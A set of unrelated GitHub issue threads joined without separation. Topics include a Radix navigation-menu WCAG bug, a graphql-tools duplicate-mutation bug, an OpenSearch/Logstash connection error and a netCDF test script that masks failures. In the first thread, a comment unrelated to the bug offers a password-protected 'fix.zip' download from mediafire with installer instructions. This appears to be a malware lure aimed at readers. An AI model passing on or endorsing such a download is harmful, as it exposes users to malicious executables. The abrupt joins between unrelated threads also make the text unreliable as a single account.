Navigation Menu WCAG Level A Issue (Hidden element has focusable content)

Bug report
Current Behavior
The Navigation Menu component renders an empty span that's focusable when any of the menu items is expanded/open:

This causes an accessibility issue (WCAG A):

Expected behavior

Reproducible example
CodeSandbox Example
Click on 'Overview' in the example above
Suggested solution
Remove span or make it non-focusable. Not really sure why this span is needed.
Additional context
n/a
Your environment
n/a
Prod

Software
Name(s)
Version

Radix Package(s)
react-navigation-menu
^1.1.1

React

^18.2.0

Browser
Chrome
128.0.6613.85

Assistive tech
n/a

Node
n/a

npm/yarn
npm
10.2.3

Operating System
macOS
14.6.1 (Sonoma)

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Seeing this when running my Accessibility certification scripts and it is causing certification failures. Please address as soon as possible. Additional context from the failures:
{
     id: 'aria-hidden-focus',
     impact: 'serious',
     tags: [
       'cat.name-role-value',
       'wcag2a',
       'wcag412',
       'TTv5',
       'TT6.a',
       'EN-301-549',
       'EN-<IP_ADDRESS>'
     ],
     description: 'Ensure aria-hidden elements are not focusable nor contain focusable elements',
     help: 'ARIA hidden element must not be focusable or contain focusable elements',
id: 'focusable-not-tabbable',
             data: null,
             relatedNodes: [
               {
                 html: '',
                 target: [ 'span[aria-hidden="true"]' ]
               }
             ],
             impact: 'serious',
             message: 'Focusable content should have tabindex="-1" or be removed from the DOM'
           }
         ],
         none: [],
         impact: 'serious',
         html: '',
        target: [ 'span[aria-hidden="true"]' ],
         failureSummary: 'Fix all of the following:\n' +
           '  Focusable content should have tabindex="-1" or be removed from the DOM'

Screenshots of the generated empty span:


buy max means you only have to pay for the last one

Not sure if this is intentional, but pressing the buy max button, you're usually only paying the amount of the last upgrade you can buy. All the levels before that you'll get for free,

Same issue with 'buy next'.

In the "Automation upgrades", there is an upgrade that says "X upgrades no longer spend X", theres one for grass, PP, Crystals, anti-grass, anonymity and oil. Could it be you have those upgrades?

@Cynebeald no, it also does that without those upgrades

@Cynebeald no, it also does that without those upgrades

It works right from the start

It does that right from the start actually


Documentation fixes

[ ] add a prominent link to the repository
[ ] add a prominent link to https://www.byte-physics.de
[ ] add info about the git commit which it was built from. MIES has something like that already.
[ ] integrate with piwik and sphinx, see https://developer.matomo.org/guides/tracking-javascript-guide and https://docs.readthedocs.io/en/latest/guides/adding-custom-css.html

https://github.com/byte-physics/igor-unit-testing-framework/pull/22
still missing the commit number. Functions are already there. Not sure, if it should be in the footer ?


duplicate mutation blocks sent to remote graphql schema..

Setup:
A GraphQL Proxy using express-graphql, makeRemoteExecutableSchema, and introspectSchema to pull in a graphql schema exposed by the neo4j-graphql plugin: https://github.com/neo4j-graphql/neo4j-graphql
gist of setup code:
const buildExecutableRemoteSchema = async (serviceEndpoint) => {
  const link = new HttpLink({ uri: serviceEndpoint, fetch });
  const executableSchema = makeRemoteExecutableSchema({
    schema: await introspectSchema(link),
    link: link
  });

  return executableSchema;
};

const schema = await buildExecutableRemoteSchema(process.env.GRAPHQL_URL);

app.use('/graphql', graphqlHTTP({
 schema: schema,
 graphiql: true
}));

Problem (or oversight):
We are seeing a mutation blocks being sent over the wire to the remote graphql schema multiple times by our proxy. The number of times it's sent is relative to the number of queries inside the mutation block.
mutation {
  c1: createPerson(name:"Person1")
  c2: createPerson(name:"Person2")
}

What we ended up seeing is that in the graphql implementation, the function executeFieldsSerially (Implements the "Evaluating selection sets" section of the spec for "write" mode.) tries to resolve the query operations in a sequential fashion.
The interesting bit or problem is the resolver from the executionContext that seems to come from the graphql-tools introspection and makeRemoteExecutable functions ends up fetching all the query operations in the mutation block. More detail described below...
Here's what the generated resolver looks like:

1. function (root, args, context, info) { return __awaiter(_this, void 0, void 0, function () {
2.         var fragments, document, result;
3.         return __generator(this, function (_a) {
4.             switch (_a.label) {
5.                 case 0:
6.                     fragments = Object.keys(info.fragments).map(function (fragment) { return info.fragments[fragment]; });
7.                     document = {
8.                         kind: graphql_1.Kind.DOCUMENT,
9.                         definitions: [info.operation].concat(fragments),
10.                     };
11.                     return [4 /*yield*/, fetcher({
12.                             query: document,
13.                             variables: info.variableValues,
14.                             context: { graphqlContext: context },
15.                         })];
16.                 case 1:
17.                     result = _a.sent();
18.                     return [2 /*return*/, errors_1.checkResultAndHandleErrors(result, info)];
19.             }
20.         });
21.     }); }

You can see that the fetcher (line 11) is taking in the query, variables, and context. The query:document, specifically the document.definitions (info.operations) part is the suspect part. When dereferencing the document.definitions or info.operations which is part of the query, you get a set of fields that describe ALL the query operations in the mutation block:
[ { kind: 'Field',
    alias: { kind: 'Name', value: 'c1', loc: [Object] },
    name: { kind: 'Name', value: 'createPerson', loc: [Object] },
    arguments: [ [Object] ],
    directives: [],
    selectionSet: undefined,
    loc: { start: 14, end: 43 } },
  { kind: 'Field',
    alias: { kind: 'Name', value: 'c2', loc: [Object] },
    name: { kind: 'Name', value: 'createPerson', loc: [Object] },
    arguments: [ [Object] ],
    directives: [],
    selectionSet: undefined,
    loc: { start: 46, end: 75 } } ]

And we think it is for this reason we see the entire mutation block sent to the remote graphql schema PER each field (query operation) in the mutation block as graphql tries to executes the fields serially.
Here is what we see when we submit the mutation block to our proxy via graphiql, note the 2 POST requests to the /graphql/ endpoint:

Each of the graphql request are successful here is what the http stream looks like on both:
POST /graphql/ HTTP/1.1
accept: */*
content-type: application/json
Content-Length: 135
User-Agent: node-fetch/1.0 (+https://github.com/bitinn/node-fetch)
Accept-Encoding: gzip,deflate
Connection: close
Host: localhost:11005

{"operationName":null,"variables":{},"query":"mutation {\n  c1: createPerson(name: \"Josh\")\n  c2: createPerson(name: \"Mike\")\n}\n"}HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Oct 2018 22:39:31 GMT
Access-Control-Allow-Origin: *
Content-Type: application/json

{"data":{"c1":"Nodes created: 1\nProperties set: 1\nLabels added: 1\n","c2":"Nodes created: 1\nProperties set: 1\nLabels added: 1\n"}}

As a result, we end up mutating more data than expected. This seems like a pretty obvious issue that should have been found by now, but I am hoping that we have just missed something in our steps to build a remoteExecutableSchema.

This stale issue appears solved. Please reopen if still encountering issues.


Fix UnixNoGilRefleakBuild.testFlags

It must be a list, no a string.
Correctly, the builder fails with:
./python -E  -m test --slow-ci --timeout=12000 - R   3 : 3   - u - c p u --junit-xml test-results.xml -j2 --fail-rerun
regrtest.py: error: unrecognized arguments: -

cc @itamaro: I made changes recently, maybe your PR landed "while" I was doing these changes.

Thank you for fixing it!


Result problem on ml-1m dataset

Thank the author for his contribution.  I have same questions about the result on ml-1m dataset. I download the dataset on the SASRec.Pyotoch(https://github.com/pmixer/SASRec.pytorch.git), but I got a bad result on this dataset by using ICLRec, the recall@5 is 0.0482, and the  SASRec is 0.1108. Hope to get your reply earlier. Best wishes.

@QinHsiu Thank you for your interest in our work! You might want to tune the key hyperparameters ($\lambda$ and $\beta$) to adjust the strengths of different objectives' signals. I ran an experiment and a quick takeaway is that $\beta$ needs to be very small as the SeqCL objective is not robust to different datasets. Following is the result I got:
HR@5: 0.1437, HR@10: 0.2282, HR@20: 0.3365, NDCG@5: 0.0934, NDCG@10: 0.1205, NDCG@20: 0.1478 ($\lambda = 0.1$ and $\beta = 0.0$). - Thanks

Thank you for your reply. Yes, I only change lambda and beta to train ICLRec. I find the ml-1m dataset on the github miss the interaction data for 6040th user id.  If it is convenient, I hope you can give me a copy of the trained ml-1m pt and the data process code. Hope get your reply earlier.
                                                   Best wishes!
---Original---
From: "Yongjun @.>
Date: Fri, Sep 16, 2022 12:44 PM
To: @.>;
Cc<EMAIL_ADDRESS>Subject: Re: [salesforce/ICLRec] Result problem on ml-1m dataset  (Issue #4)
@QinHsiu Thank you for your interest in our work! You might want to tune the key hyperparameters ($\lambda$ and $\beta$) to adjust the strengths of different objectives' signals. I ran an experiment and a quick takeaway is that $\beta$ needs to be very small as the SeqCL objective is not robust to different datasets. Following is the result I got:
@.: 0.1437, @.: 0.2282, @.: 0.3365, @.: 0.0934, @.: 0.1205, @.: 0.1478 ($\lambda = 0.1$ and $\beta = 0.0$). - Thanks
—
Reply to this email directly, view it on GitHub, or unsubscribe.
You are receiving this because you were mentioned.Message ID: @.***>

For sure! I will find time to put them on the repo soon. Thanks

Hi @QinHsiu, I just uploaded the model file (.pt) and a script that I used to run the experiment. Please feel free to try on your prepared data.
For the data preparation, I use the data prepared by the original SASRec here. I just convert the original flattened data format (one interaction per row) into the nested format (one user's interactions per row). It's been a while working on that, and I cannot find the code at hand. I will find time to rewrite the preparation code.
Feel free to let me know if there are any further questions. -Thanks

Thank you for anyway! I know why I have a bad result on ml-1m dataset, because I set the max length as 50, now I revised it and got @.*** 0.1382. Thank you for anyway!
                                                       best wishes!
---Original---
From: "Yongjun @.>
Date: Sat, Sep 17, 2022 10:54 AM
To: @.>;
Cc<EMAIL_ADDRESS>Subject: Re: [salesforce/ICLRec] Result problem on ml-1m dataset  (Issue #4)
Hi @QinHsiu, I just uploaded the model file (.pt) and a script that I used to run the experiment. Please feel free to try on your prepared data.
For the data preparation, I use the data prepared by the original SASRec here. I just convert the original flattened data format (one interaction per row) into the nested format (one user's interactions per row). It's been a while working on that, and I cannot find the code at hand. I will find time to rewrite the preparation code.
Feel free to let me know if there are any further questions. -Thanks
—
Reply to this email directly, view it on GitHub, or unsubscribe.
You are receiving this because you were mentioned.Message ID: @.***>


Add content meta pattern

I've discovered the cause of the padding not being set correctly, mentioned in https://github.com/libero/storybook/pull/31#pullrequestreview-322340251 above:  thedir attribute is missing from the <html> element. The CSS selectors ultimately generated by logical.property() quite rightly depend on this dir value for the fallbacks, and also to enable the non-fallback property, where supported, to take precedence over the fallback.
This is a wider issue than just this PR. Investigations show that Storybook doesn't set dir on <html> by default, and so none of the CSS selectors generated by logical.property() will match the desired elements within the Storybook interface.
This won't be a problem for using the patterns, as the implementation that incorporates them will need to set dir attributes on elements as appropriate anyway, but it is a problem for the build / test / demonstration of the patterns within Storybook.
Next steps: raising tickets for the work to introduce configurable dir (and also lang) attributes onto the <html> element of Storybook pages.
Until that's in place, this PR is blocked.


rem models and change name aln model

@dileep-gadiraju after testing this pr apk size is 99 mb . this pr is working as expected @venky3692


Upgrade to<EMAIL_ADDRESS>

Changelog

♻ Upgrade to<EMAIL_ADDRESS>💥 Drop support for node < v18

:tada: This PR is included in version 6.0.0 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


Could not connect to a compatible version of Elasticsearch - Opensearch 2.9.0-1 - Logstash OutputPlugin 8.9.0

Hello,
I set up Opensearch cluster. I use an SSL certificate in this cluster. I use 1 server both in the opensearch coordinating role and as opensearch dashboard.
I also plan to install logstash on this server and receive logs.
I downloaded all packages from the opensearch official page. My Opensearch cluster and dashboard are working healthy. But "Logstash OSS with OpenSearch Output Plugin" does not work.
I downloaded the style file below. I opened this file and put its contents into a directory named "/etc/opensearch-logstash". Then I edited my configuration files. I am trying to start the service manually.
logstash-oss-with-opensearch-output-plugin-8.9.0-linux-x64.tar.gz
But I keep getting the "Could not connect to a compatible version of Elasticsearch" error. The download page says it is compatible with "7.10.2 or lower".
I don't know what to do, I've searched all the pages I can on the internet, but I can't solve this problem, what can you suggest me?
[root@opsserver6 ]# cat /etc/redhat-release
Red Hat Enterprise Linux release 8.8

[root@opsserver6 ]# yum list installed |grep opensearch
opensearch.x86_64                             2.9.0-1                                   @@System
opensearch-dashboards.x86_64                  2.9.0-1                                   @System

[root@opsserver6 ]# curl --insecure -XGET -u admin:admin "https://<IP_ADDRESS>:9200"
{
  "name" : "opsserver6",
  "cluster_name" : "central-log-cluster",
  "cluster_uuid" : "GYsnbxZdQte2Ycil7xd9Gg",
  "version" : {
    "distribution" : "opensearch",
    "number" : "2.9.0",
    "build_type" : "rpm",
    "build_hash" : "11642123kjsad12560f0ff12312312beea28433",
    "build_date" : "2023-07-18T21:22:28.183446221Z",
    "build_snapshot" : false,
    "lucene_version" : "9.7.0",
    "minimum_wire_compatibility_version" : "7.10.0",
    "minimum_index_compatibility_version" : "7.0.0"
  },
  "tagline" : "The OpenSearch Project: https://opensearch.org/"
}

[root@opsserver6 opensearch-logstash]# pwd
/etc/opensearch-logstash

[root@opsserver6 opensearch-logstash]# ls
bckp  config        data               Gemfile       jdk          lib          logs           logstash-core-plugin-api  NOTICE.TXT  tools  vendor
bin   CONTRIBUTORS  dead_letter_queue  Gemfile.lock  JDK_VERSION  LICENSE.txt  logstash-core  modules                   queue       uuid

[root@opsserver6 opensearch-logstash]# cd config/

[root@opsserver6 config]# ls
opsserver6-key.pem  opsserver6.pem  jvm.options  log4j2.properties  logstash.conf  logstash.yml  old  pipelines.yml

[root@opsserver6 config]# cat logstash.yml
node.name: opsserver6
path.data: /etc/opensearch-logstash/

[root@opsserver6 config]# cat logstash.conf
input {
  beats {
    port => "5044"
  }
}

output {
  elasticsearch {
    hosts => ["https://admin:admin@<IP_ADDRESS>:9200"]
    index => "filebeat-%{+YYYY.MM.dd}"
    ssl_enabled => "true"
    ssl_verification_mode => "none"
  }
}

[root@opsserver6 config]# cat pipelines.yml
- pipeline.id: main
  path.config: "/etc/opensearch-logstash/config/logstash.conf"

[root@opsserver6 config]# ../bin/logstash
Using bundled JDK: /etc/opensearch-logstash/jdk
Sending Logstash logs to /etc/opensearch-logstash/logs which is now configured via log4j2.properties
[2023-10-10T16:18:58,543][INFO ][logstash.runner          ] Log4j configuration path used is: /etc/opensearch-logstash/config/log4j2.properties
[2023-10-10T16:18:58,548][WARN ][logstash.runner          ] The use of JAVA_HOME has been deprecated. Logstash 8.0 and later ignores JAVA_HOME and uses the bundled JDK. Running Logstash with the bundled JDK is recommended. The bundled JDK has been verified to work with each specific version of Logstash, and generally provides best performance and reliability. If you have compelling reasons for using your own JDK (organizational-specific compliance requirements, for example), you can configure LS_JAVA_HOME to use that version instead.
[2023-10-10T16:18:58,548][INFO ][logstash.runner          ] Starting Logstash {"logstash.version"=>"8.9.0", "jruby.version"=>"jruby <IP_ADDRESS> (2.6.8) 2023-02-01 107b2e6697 OpenJDK 64-Bit Server VM 17.0.7+7 on 17.0.7+7 +indy +jit [x86_64-linux]"}
[2023-10-10T16:18:58,550][INFO ][logstash.runner          ] JVM bootstrap flags: [-Xms2g, -Xmx2g, -Djava.io.tmpdir=/usr/share/logstash, -Djava.awt.headless=true, -Dfile.encoding=UTF-8, -Djruby.compile.invokedynamic=true, -XX:+HeapDumpOnOutOfMemoryError, -Djava.security.egd=file:/dev/urandom, -Dlog4j2.isThreadContextMapInheritable=true, -Djruby.regexp.interruptible=true, -Djdk.io.File.enableADS=true, --add-exports=jdk.compiler/com.sun.tools.javac.api=ALL-UNNAMED, --add-exports=jdk.compiler/com.sun.tools.javac.file=ALL-UNNAMED, --add-exports=jdk.compiler/com.sun.tools.javac.parser=ALL-UNNAMED, --add-exports=jdk.compiler/com.sun.tools.javac.tree=ALL-UNNAMED, --add-exports=jdk.compiler/com.sun.tools.javac.util=ALL-UNNAMED, --add-opens=java.base/java.security=ALL-UNNAMED, --add-opens=java.base/java.io=ALL-UNNAMED, --add-opens=java.base/java.nio.channels=ALL-UNNAMED, --add-opens=java.base/sun.nio.ch=ALL-UNNAMED, --add-opens=java.management/sun.management=ALL-UNNAMED]
/etc/opensearch-logstash/vendor/bundle/jruby/2.6.0/gems/sinatra-2.2.4/lib/sinatra/base.rb:938: warning: constant Tilt::Cache is deprecated
[2023-10-10T16:18:59,113][INFO ][logstash.agent           ] Successfully started Logstash API endpoint {:port=>9600, :ssl_enabled=>false}
[2023-10-10T16:18:59,383][INFO ][org.reflections.Reflections] Reflections took 114 ms to scan 1 urls, producing 132 keys and 464 values
[2023-10-10T16:18:59,873][INFO ][logstash.javapipeline    ] Pipeline `main` is configured with `pipeline.ecs_compatibility: v8` setting. All plugins in this pipeline will default to `ecs_compatibility => v8` unless explicitly configured otherwise.
[2023-10-10T16:18:59,904][INFO ][logstash.outputs.elasticsearch][main] New Elasticsearch output {:class=>"LogStash::Outputs::ElasticSearch", :hosts=>["https://admin:xxxxxx@<IP_ADDRESS>:9200/"]}
[2023-10-10T16:18:59,910][WARN ][logstash.outputs.elasticsearch][main] You have enabled encryption but DISABLED certificate verification, to make sure your data is secure set `ssl_verification_mode => full`
[2023-10-10T16:19:00,028][INFO ][logstash.outputs.elasticsearch][main] Elasticsearch pool URLs updated {:changes=>{:removed=>[], :added=>[https://admin:xxxxxx@<IP_ADDRESS>:9200/]}}
[2023-10-10T16:19:00,261][ERROR][logstash.javapipeline    ][main] Pipeline error {:pipeline_id=>"main", :exception=>#<LogStash::ConfigurationError: Could not connect to a compatible version of Elasticsearch>, :backtrace=>["/etc/opensearch-logstash/vendor/bundle/jruby/2.6.0/gems/logstash-output-elasticsearch-11.15.9-java/lib/logstash/outputs/elasticsearch/http_client/pool.rb:247:in `block in healthcheck!'", "org/jruby/RubyHash.java:1519:in `each'", "/etc/opensearch-logstash/vendor/bundle/jruby/2.6.0/gems/logstash-output-elasticsearch-11.15.9-java/lib/logstash/outputs/elasticsearch/http_client/pool.rb:238:in `healthcheck!'", "/etc/opensearch-logstash/vendor/bundle/jruby/2.6.0/gems/logstash-output-elasticsearch-11.15.9-java/lib/logstash/outputs/elasticsearch/http_client/pool.rb:376:in `update_urls'", "/etc/opensearch-logstash/vendor/bundle/jruby/2.6.0/gems/logstash-output-elasticsearch-11.15.9-java/lib/logstash/outputs/elasticsearch/http_client/pool.rb:87:in `update_initial_urls'", "/etc/opensearch-logstash/vendor/bundle/jruby/2.6.0/gems/logstash-output-elasticsearch-11.15.9-java/lib/logstash/outputs/elasticsearch/http_client/pool.rb:81:in `start'", "/etc/opensearch-logstash/vendor/bundle/jruby/2.6.0/gems/logstash-output-elasticsearch-11.15.9-java/lib/logstash/outputs/elasticsearch/http_client.rb:362:in `build_pool'", "/etc/opensearch-logstash/vendor/bundle/jruby/2.6.0/gems/logstash-output-elasticsearch-11.15.9-java/lib/logstash/outputs/elasticsearch/http_client.rb:63:in `initialize'", "org/jruby/RubyClass.java:890:in `new'", "/etc/opensearch-logstash/vendor/bundle/jruby/2.6.0/gems/logstash-output-elasticsearch-11.15.9-java/lib/logstash/outputs/elasticsearch/http_client_builder.rb:106:in `create_http_client'", "/etc/opensearch-logstash/vendor/bundle/jruby/2.6.0/gems/logstash-output-elasticsearch-11.15.9-java/lib/logstash/outputs/elasticsearch/http_client_builder.rb:102:in `build'", "/etc/opensearch-logstash/vendor/bundle/jruby/2.6.0/gems/logstash-output-elasticsearch-11.15.9-java/lib/logstash/plugin_mixins/elasticsearch/common.rb:42:in `build_client'", "/etc/opensearch-logstash/vendor/bundle/jruby/2.6.0/gems/logstash-output-elasticsearch-11.15.9-java/lib/logstash/outputs/elasticsearch.rb:300:in `register'", "org/logstash/config/ir/compiler/AbstractOutputDelegatorExt.java:69:in `register'", "/etc/opensearch-logstash/logstash-core/lib/logstash/java_pipeline.rb:237:in `block in register_plugins'", "org/jruby/RubyArray.java:1865:in `each'", "/etc/opensearch-logstash/logstash-core/lib/logstash/java_pipeline.rb:236:in `register_plugins'", "/etc/opensearch-logstash/logstash-core/lib/logstash/java_pipeline.rb:610:in `maybe_setup_out_plugins'", "/etc/opensearch-logstash/logstash-core/lib/logstash/java_pipeline.rb:249:in `start_workers'", "/etc/opensearch-logstash/logstash-core/lib/logstash/java_pipeline.rb:194:in `run'", "/etc/opensearch-logstash/logstash-core/lib/logstash/java_pipeline.rb:146:in `block in start'"], "pipeline.sources"=>["/etc/opensearch-logstash/config/logstash.conf"], :thread=>"#<Thread:0x7d6e12ed@/etc/opensearch-logstash/logstash-core/lib/logstash/java_pipeline.rb:134 run>"}
[2023-10-10T16:19:00,262][INFO ][logstash.javapipeline    ][main] Pipeline terminated {"pipeline.id"=>"main"}
[2023-10-10T16:19:00,276][ERROR][logstash.agent           ] Failed to execute action {:id=>:main, :action_type=>LogStash::ConvergeResult::FailedAction, :message=>"Could not execute action: PipelineAction::Create<main>, action_result: false", :backtrace=>nil}
[2023-10-10T16:19:00,292][INFO ][logstash.runner          ] Logstash shut down.
[2023-10-10T16:19:00,297][FATAL][org.logstash.Logstash    ] Logstash stopped processing because of an error: (SystemExit) exit
org.jruby.exceptions.SystemExit: (SystemExit) exit
        at org.jruby.RubyKernel.exit(org/jruby/RubyKernel.java:790) ~[jruby.jar:?]
        at org.jruby.RubyKernel.exit(org/jruby/RubyKernel.java:753) ~[jruby.jar:?]
        at etc.opensearch_minus_logstash.lib.bootstrap.environment.<main>(/etc/opensearch-logstash/lib/bootstrap/environment.rb:91) ~[?:?]

The error says you're using logstash-output-elasticsearch-11.15.9-java which is not logstash-output-opensearch. Your filebeat output above should be opensearch, not elasticsearch I think. There's more detailed setup in https://repost.aws/knowledge-center/opensearch-connect-filebeat-logstash. Does this help?

I solved my problem. I realized I missed a very small detail. I was typing "elasticsearch" in the Output section. Actually, I should have corrected that section to "opensearch".
output {
  opensearch {
#  elasticsearch { # old
    hosts => ["https://admin:admin@<IP_ADDRESS>:9200"]
    index => "filebeat-%{+YYYY.MM.dd}"
    ssl_enabled => "true"
    ssl_verification_mode => "none"
  }
}


Player adds a solid white background to view

Basically there is a solid white background when I used it react-native screen on IOS (haven't tried it on Android or other platforms).
I used same props as in the example.
"react": "18.2.0",
"react-native": "0.75.4",

Same here, works on Android, but on iOS, it's all white

I checked the source code and it seems it only load from a web URL for now


off-by-one error in temperature ramps during SequentialLearning

When using the temperature ramp functionality, the temperature update of the walkers should happen before sampling/evaluation/training but is not executed at the end of an iteration. This causes walkers to not sample at the final temperature.

Fixed


nc_test/tst_inmemory is failing, but the failure is not noticed since script returns 0 anyway

The program nc_test/tst_inmemory.c (which is called by test script run_inmemory.sh) is failing, but the failure is not detected since the script does not return non-zero value.
When I run the script I get this:
bash -x ./run_inmemory.sh
+ test x = x
++ pwd
+ srcdir=/home/ed/tmp/netcdf-c/nc_test
+ . ../test_common.sh
++ TOPSRCDIR=/home/ed/tmp/netcdf-c
++ TOPBUILDDIR=/home/ed/tmp/netcdf-c
++ set -e
++ test x = x1
++ top_srcdir=/home/ed/tmp/netcdf-c
++ top_builddir=/home/ed/tmp/netcdf-c
++ test x/home/ed/tmp/netcdf-c/nc_test = x
+++ pwd
++ builddir=/home/ed/tmp/netcdf-c/nc_test
++ execdir=/home/ed/tmp/netcdf-c/nc_test
+++ basename /home/ed/tmp/netcdf-c/nc_test
++ thisdir=nc_test
+++ pwd
++ WD=/home/ed/tmp/netcdf-c/nc_test
++ cd /home/ed/tmp/netcdf-c/nc_test
+++ pwd
++ srcdir=/home/ed/tmp/netcdf-c/nc_test
++ cd /home/ed/tmp/netcdf-c/nc_test
++ cd /home/ed/tmp/netcdf-c
+++ pwd
++ top_srcdir=/home/ed/tmp/netcdf-c
++ cd /home/ed/tmp/netcdf-c/nc_test
++ cd /home/ed/tmp/netcdf-c/nc_test
+++ pwd
++ builddir=/home/ed/tmp/netcdf-c/nc_test
++ cd /home/ed/tmp/netcdf-c/nc_test
++ cd /home/ed/tmp/netcdf-c
+++ pwd
++ top_builddir=/home/ed/tmp/netcdf-c
++ cd /home/ed/tmp/netcdf-c/nc_test
++ cd /home/ed/tmp/netcdf-c/nc_test
+++ pwd
++ execdir=/home/ed/tmp/netcdf-c/nc_test
++ cd /home/ed/tmp/netcdf-c/nc_test
++ export srcdir top_srcdir builddir top_builddir execdir
++ test -e /home/ed/tmp/netcdf-c/ncdump/ncdump.exe
++ ext=
++ export NCDUMP=/home/ed/tmp/netcdf-c/ncdump/ncdump
++ NCDUMP=/home/ed/tmp/netcdf-c/ncdump/ncdump
++ export NCCOPY=/home/ed/tmp/netcdf-c/ncdump/nccopy
++ NCCOPY=/home/ed/tmp/netcdf-c/ncdump/nccopy
++ export NCGEN=/home/ed/tmp/netcdf-c/ncgen/ncgen
++ NCGEN=/home/ed/tmp/netcdf-c/ncgen/ncgen
++ export NCGEN3=/home/ed/tmp/netcdf-c/ncgen3/ncgen3
++ NCGEN3=/home/ed/tmp/netcdf-c/ncgen3/ncgen3
++ ncgen3c0=/home/ed/tmp/netcdf-c/ncgen3/c0.cdl
++ ncgenc0=/home/ed/tmp/netcdf-c/ncgen/c0.cdl
++ ncgenc04=/home/ed/tmp/netcdf-c/ncgen/c0_4.cdl
++ cd /home/ed/tmp/netcdf-c/nc_test
+ set -e
++ uname -p
+ CPU=x86_64
++ uname
+ OS=Linux
+ FILE3=tst_inmemory3
+ CREATE3=tst_inmemory3_create
+ FILE4=tst_inmemory4
+ CREATE4=tst_inmemory4_create
+ OMEMFILE=f03tst_open_mem.nc
+ echo ''

+ echo '*** Testing in-memory operations'
*** Testing in-memory operations
++ /home/ed/tmp/netcdf-c/nc-config --has-nc4
+ HASNC4=yes
+ /home/ed/tmp/netcdf-c/nc_test/tst_inmemory

*** Testing the inmemory API: netcdf-3.

	***Test open 1: nc_open_mem(): read-only

	***Test open 2: nc_open_memio(): read-only
	finaldata: size=300 memory=0x563c946bd850

	***Test open 3: nc_open_memio(): read-write, copy
	finaldata: size=348 memory=0x563c9473e150

	***Test open 4: nc_open_memio(): read-write, locked, extra space
	finaldata: size=262144 memory=0x563c946be030

	***Test create 1: nc_create_memio(): no initialsize
	finaldata: size=300 memory=0x563c94740a40

	***Test create 2: nc_create_memio(): initialsize; save file
	finaldata: size=262144 memory=0x563c94742000

	***Test misc 1: use nc_close on created inmemory file

	***Test misc 2: use nc_close on opened inmemory file

	***Test xfail 1: nc_open_mem(): write to read-only
	***XFail: status=-37 NetCDF: Write to read only

	***Test xfail 2: nc_open_memio(): modify without overallocating
	***XFail: status=1 Operation not permitted

*** Testing the inmemory API: netcdf-4.

	***Test open 1: nc_open_mem(): read-only

	***Test open 2: nc_open_memio(): read-only
	finaldata: size=11537 memory=0x563c946be030

	***Test open 3: nc_open_memio(): read-write, copy
***Fail: line: 478; status=-101 NetCDF: HDF error
***Fail: line: 624; status=-101 NetCDF: HDF error
+ echo 'FAIL: tst.inmemory'
FAIL: tst.inmemory
+ /home/ed/tmp/netcdf-c/nc_test/tst_open_mem /home/ed/tmp/netcdf-c/nc_test/f03tst_open_mem.nc
+ echo '**** Test ncdump of the resulting inmemory data'
**** Test ncdump of the resulting inmemory data
+ /home/ed/tmp/netcdf-c/ncdump/ncdump -n tst_inmemory3 tst_inmemory3.nc
+ /home/ed/tmp/netcdf-c/ncdump/ncdump -n tst_inmemory3 tst_inmemory3_create.nc
+ diff -wb tst_inmemory3.cdl tst_inmemory3_create.cdl
+ rm -f tst_inmemory3.nc tst_inmemory4.nc tst_inmemory3_create.nc tst_inmemory4_create.nc
+ rm -f tst_inmemory3.cdl tst_inmemory4.cdl tst_inmemory3_create.cdl tst_inmemory4_create.cdl
+ echo 'PASS: all inmemory tests'
PASS: all inmemory tests
+ exit 0

Note that it is returning 0.
When I run tst_inmemory I get this output:
 ./tst_inmemory

*** Testing the inmemory API: netcdf-3.

	***Test open 1: nc_open_mem(): read-only

	***Test open 2: nc_open_memio(): read-only
	finaldata: size=300 memory=0x55c36a3a9850

	***Test open 3: nc_open_memio(): read-write, copy
	finaldata: size=348 memory=0x55c36a42a150

	***Test open 4: nc_open_memio(): read-write, locked, extra space
	finaldata: size=262144 memory=0x55c36a3aa030

	***Test create 1: nc_create_memio(): no initialsize
	finaldata: size=300 memory=0x55c36a42ca40

	***Test create 2: nc_create_memio(): initialsize; save file
	finaldata: size=262144 memory=0x55c36a42e000

	***Test misc 1: use nc_close on created inmemory file

	***Test misc 2: use nc_close on opened inmemory file

	***Test xfail 1: nc_open_mem(): write to read-only
	***XFail: status=-37 NetCDF: Write to read only

	***Test xfail 2: nc_open_memio(): modify without overallocating
	***XFail: status=1 Operation not permitted

*** Testing the inmemory API: netcdf-4.

	***Test open 1: nc_open_mem(): read-only

	***Test open 2: nc_open_memio(): read-only
	finaldata: size=11537 memory=0x55c36a3aa030

	***Test open 3: nc_open_memio(): read-write, copy
***Fail: line: 478; status=-101 NetCDF: HDF error
***Fail: line: 624; status=-101 NetCDF: HDF error

So something is wrong here, but the test still passes, because it is not detecting the failure and is returning 0.

The script shouldn't return 0 all the time, I'll take a look at that.  FWIW I'm not seeing the HDF error you are reporting, however.  Thanks!

Also maybe you created those errors intentionally to illustrate the script always returns 0 even when failures are observed.  Anyways, will fix this.

Added a sibling issue to capture some new errors revealed when script syntax errors have been resolved.

Howdy Ward! I did not create any errors intentionally to illustrate the script. I just happened to run the script from the command line, and noticed it was reporting errors.
The script does not exit because there is error checking. ;-)
# Execute the core of the inmemory tests
if ! ${execdir}/tst_inmemory; then
   echo "FAIL: tst.inmemory"
fi
if ! ${execdir}/tst_open_mem ${srcdir}/${OMEMFILE}; then
   echo "FAIL: tst_open_mem"
fi

I believe if this is changed to just:
${execdir}/tst_inmemory
then you will see the error that you expect from set -e. As the code is currently written, the call to tst_inmemory returns non-zero, but the if-statement that calls it handles that (by printing "FAIL...") but then the if-statement returns 0. So set -e is happy.

Hi Ed, I'm not seeing any error with HDF5 1.8.20, our default install.  I am now seeing the error with 1.10.2, however.  So it appears to be version dependent.

tst_inmemory binary output
HDF5 1.8.20

Testing the inmemory API: netcdf-3.
***Test open 1: nc_open_mem(): read-only
***Test open 2: nc_open_memio(): read-only
finaldata: size=300 memory=0x7f87a1c39df0
***Test open 3: nc_open_memio(): read-write, copy
finaldata: size=348 memory=0x7f87a200bc00
***Test open 4: nc_open_memio(): read-write, locked, extra space
finaldata: size=262144 memory=0x10be68000
***Test create 1: nc_create_memio(): no initialsize
finaldata: size=300 memory=0x7f87a200a600
***Test create 2: nc_create_memio(): initialsize; save file
finaldata: size=262144 memory=0x10be68000
***Test misc 1: use nc_close on created inmemory file
***Test misc 2: use nc_close on opened inmemory file
